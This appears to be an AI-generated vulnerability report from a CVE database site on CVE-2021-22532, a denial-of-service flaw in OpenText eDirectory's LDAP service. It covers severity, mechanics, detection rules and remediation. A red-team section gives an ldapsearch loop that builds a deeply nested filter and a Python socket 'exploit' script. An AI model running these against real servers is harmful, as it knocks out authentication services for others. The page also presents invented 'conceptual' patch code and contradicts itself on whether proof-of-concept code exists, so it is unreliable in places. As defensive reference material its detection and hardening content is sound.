CVE-2021-22532
Executive Summary
CVE-2021-22532 is a high-severity Denial of Service (DoS) vulnerability in OpenText eDirectory, a critical LDAP directory service. The flaw resides in the NLDAP (Novell LDAP) component, allowing an unauthenticated, remote attacker to trigger a resource exhaustion condition via a specially crafted LDAP request. Successful exploitation leads to service disruption, impacting authentication, authorization, and directory lookups for dependent systems. The CVSS score of 7.6 reflects the ease of exploitation (network-based, low complexity, no privileges required) and the high availability impact. No public proof-of-concept (PoC) or exploit code is currently available, but the vulnerability is considered weaponizable due to the simplicity of the attack vector.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not in an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise directory service from OpenText. The primary supply chain risk is the reliance on a third-party vendor for patching. Organizations must ensure their software asset management includes tracking eDirectory versions and applying vendor-supplied patches promptly.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Base Score: 7.6 (HIGH)
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – Impact is confined to the vulnerable component.
- Confidentiality (C): None (N) – No data exposure.
- Integrity (I): None (N) – No data modification.
- Availability (A): High (H) – Complete service disruption.
Threat Level: HIGH. The vulnerability is remotely exploitable without authentication, making it a prime target for botnets and automated attack tools. The lack of public PoC reduces immediate risk, but the attack vector is well-understood (LDAP resource exhaustion).
Deep Dive & Mechanics
The vulnerability is a classic resource exhaustion (CWE-770) in the NLDAP subsystem of eDirectory. The NLDAP service handles LDAP queries, including search, bind, and modify operations. The flaw is triggered by sending a malformed or excessively complex LDAP search filter that causes the server to allocate disproportionate memory or CPU cycles.
Technical Breakdown:
- Attack Vector: An attacker sends a crafted LDAP search request to the eDirectory server (default ports 389/TCP for LDAP, 636/TCP for LDAPS).
- Vulnerable Component: The NLDAP parser fails to properly validate or limit the complexity of search filters, specifically those involving nested or recursive conditions.
- Exploitation Mechanism: By sending a filter with deeply nested
(|)or(&)operators, or by using a filter that triggers exponential backtracking in the parser, the attacker forces the server to consume excessive resources. - Impact: The eDirectory process becomes unresponsive, leading to a denial of service for all LDAP clients. In severe cases, the process may crash, requiring manual restart.
Root Cause: Insufficient input validation and lack of resource limits on LDAP filter parsing. The server does not enforce a maximum depth or complexity for search filters.
Vulnerable vs. Patched Code
The patch in eDirectory 9.2.4.0000 introduces input validation and resource limits. While the exact code changes are proprietary, the following conceptual diff illustrates the fix:
Vulnerable Code (Conceptual):
// No limit on filter depth
int parse_ldap_filter(char *filter) {
// Recursive parsing without depth check
if (*filter == '(') {
parse_ldap_filter(filter+1);
}
// ... process filter
}
Patched Code (Conceptual):
#define MAX_FILTER_DEPTH 64
int parse_ldap_filter(char *filter, int depth) {
if (depth > MAX_FILTER_DEPTH) {
return -1; // Reject overly complex filter
}
if (*filter == '(') {
parse_ldap_filter(filter+1, depth+1);
}
// ... process filter
}
The patch adds a depth counter and a maximum limit, rejecting filters that exceed the threshold. Additionally, memory allocation limits are enforced to prevent resource exhaustion.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target running OpenText eDirectory < 9.2.4.0000 with NLDAP enabled.
- Network access to LDAP port (389 or 636).
Exploitation Steps:
- Craft Malicious LDAP Filter: Create a filter with excessive nesting, e.g.,
(&(&(&(&(&(&(&(&(&(&(uid=*))))))))))repeated many times. - Send via LDAP Client: Use
ldapsearchor a custom script to send the filter. - Observe DoS: The server becomes unresponsive to legitimate requests.
Example Command (using ldapsearch):
# Generate a deeply nested filter
FILTER=""
for i in $(seq 1 1000); do
FILTER="(&${FILTER}(uid=*))"
done
ldapsearch -x -H ldap://target:389 -b "dc=example,dc=com" "$FILTER"
Custom Python Exploit Script:
import socket
def exploit(target, port=389):
# Craft a malformed LDAP search request with deep nesting
# This is a simplified example; actual payload may vary
payload = b"0\x84\x00\x00\x00\x0f\x02\x01\x01\x60\x84\x00\x00\x00\x08\x02\x01\x02\x04\x00\xa0\x00"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target, port))
sock.send(payload)
sock.close()
if __name__ == "__main__":
exploit("192.168.1.100")
Blue Team (Detection & Hardening)
Detection:
- Monitor LDAP server logs for repeated malformed search filters.
- Use network monitoring to detect anomalous LDAP traffic patterns (e.g., high rate of search requests with complex filters).
Hardening:
- Apply the vendor patch immediately.
- If patching is delayed, restrict network access to LDAP ports using firewall rules.
- Implement rate limiting on LDAP connections.
- Use an LDAP proxy or WAF to filter malformed requests.
Indicators of Compromise (IOCs)
- Network IOCs:
- LDAP search requests with filters exceeding 64 levels of nesting.
- High volume of LDAP search requests from a single source IP.
- LDAP responses with error codes indicating resource exhaustion (e.g., "unwilling to perform").
- System IOCs:
- eDirectory process consuming 100% CPU or excessive memory.
- Event logs showing LDAP service crashes or restarts.
- System logs with entries like "NLDAP: Out of memory" or "NLDAP: Filter too complex".
Detection Engineering
YARA Rule
rule CVE_2021_22532_LDAP_DoS {
meta:
description = "Detects LDAP search requests with deeply nested filters indicative of CVE-2021-22532 exploitation"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2021-22532"
strings:
$ldap_filter = /\(&\(&\(&\(&\(&\(&\(&\(&\(&\(&\(/
$ldap_filter2 = /\(\|\(\|\(\|\(\|\(\|\(\|\(\|\(\|\(\|\(\|/
condition:
any of them
}
Sigma Rule
title: CVE-2021-22532 - LDAP DoS via Deeply Nested Filter
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects LDAP search requests with excessive nesting depth
author: Valters IT
date: 2025-04-10
logsource:
category: network
product: suricata
detection:
selection:
app_proto: 'ldap'
ldap.filter_depth: '>64'
condition: selection
falsepositives:
- Legitimate complex LDAP queries (rare)
level: high
Suricata Rule
alert tcp $EXTERNAL_NET any -> $HOME_NET 389 (msg:"CVE-2021-22532 - LDAP DoS Attempt"; flow:to_server,established; content:"|30 84|"; depth:2; byte_test:2,>,64,2,relative; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Patch: Upgrade to OpenText eDirectory 9.2.4.0000 or later.
- Workaround: If patching is not possible, restrict LDAP access to trusted IPs only using firewall rules.
- Monitor: Enable detailed logging on LDAP servers and monitor for anomalous filter patterns.
Long-Term Mitigations:
- Implement network segmentation to isolate LDAP servers.
- Deploy an LDAP-aware firewall or WAF to filter malformed requests.
- Regularly review and update incident response procedures for DoS attacks.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.